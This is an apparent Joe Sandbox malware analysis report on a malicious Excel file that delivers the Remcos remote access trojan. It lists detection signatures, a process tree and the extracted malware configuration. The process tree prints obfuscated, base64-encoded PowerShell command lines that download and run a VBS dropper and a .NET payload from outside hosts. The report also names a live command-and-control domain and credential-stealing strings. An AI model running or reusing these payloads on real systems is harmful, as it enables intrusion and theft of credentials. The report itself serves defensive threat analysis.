Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Sipari#U015f_listesi.xls

Overview

General Information

Sample name:Sipari#U015f_listesi.xls
renamed because original name is a hash value
Original sample name:Sipari_listesi.xls
Analysis ID:1564464
MD5:c47ccad59f8ba84f04632ae46e19f794
SHA1:279c6a65afde93c0aad3246770c88ed8e143b28d
SHA256:391127bf5132f73f60a591a4f1a80511f152549b3b1ffaec3f02b806b6750e19
Tags:xlsuser-nfsec_pl
Infos:

Detection

Remcos, HTMLPhisher
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 3328 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • mshta.exe (PID: 3640 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • cmd.exe (PID: 3768 cmdline: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • powershell.exe (PID: 3792 cmdline: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
          • csc.exe (PID: 3920 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
            • cvtres.exe (PID: 3928 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES82B7.tmp" "c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
          • wscript.exe (PID: 3096 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" MD5: 045451FA238A75305CC26AC982472367)
            • powershell.exe (PID: 1484 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo MD5: A575A7610E5F003CC36DF39E07C4BA7D)
              • CasPol.exe (PID: 3536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3660 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3656 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\xmeuxqcasrlooyxewxwrivodiitksr" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
                • CasPol.exe (PID: 3700 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\zhjnyjntozdtqflifiikliburpktlcmpbo" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
    • mshta.exe (PID: 3980 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • cmd.exe (PID: 1256 cmdline: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • powershell.exe (PID: 1324 cmdline: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
          • csc.exe (PID: 2168 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
            • cvtres.exe (PID: 2556 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAA05.tmp" "c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
          • wscript.exe (PID: 2928 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" MD5: 045451FA238A75305CC26AC982472367)
            • powershell.exe (PID: 2460 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo MD5: A575A7610E5F003CC36DF39E07C4BA7D)
              • CasPol.exe (PID: 3688 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["newbeggin.duckdns.org:2431:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-8FCP5S", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].htaJoeSecurity_HtmlPhish_44Yara detected HtmlPhish_44Joe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
      0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6b6f8:$a1: Remcos restarted by watchdog!
          • 0x6bc70:$a3: %02i:%02i:%02i:%03i
          0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
          • 0x65994:$str_a1: C:\Windows\System32\cmd.exe
          • 0x65910:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x65910:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x65e10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
          • 0x66410:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
          • 0x65a04:$str_b2: Executing file:
          • 0x6683c:$str_b3: GetDirectListeningPort
          • 0x66200:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
          • 0x66380:$str_b7: \update.vbs
          • 0x65a2c:$str_b9: Downloaded file:
          • 0x65a18:$str_b10: Downloading file:
          • 0x65abc:$str_b12: Failed to upload file:
          • 0x66804:$str_b13: StartForward
          • 0x66824:$str_b14: StopForward
          • 0x662d8:$str_b15: fso.DeleteFile "
          • 0x6626c:$str_b16: On Error Resume Next
          • 0x66308:$str_b17: fso.DeleteFolder "
          • 0x65aac:$str_b18: Uploaded file:
          • 0x65a6c:$str_b19: Unable to delete:
          • 0x662a0:$str_b20: while fso.FileExists("
          • 0x65f49:$str_c0: [Firefox StoredLogins not found]
          Click to see the 11 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
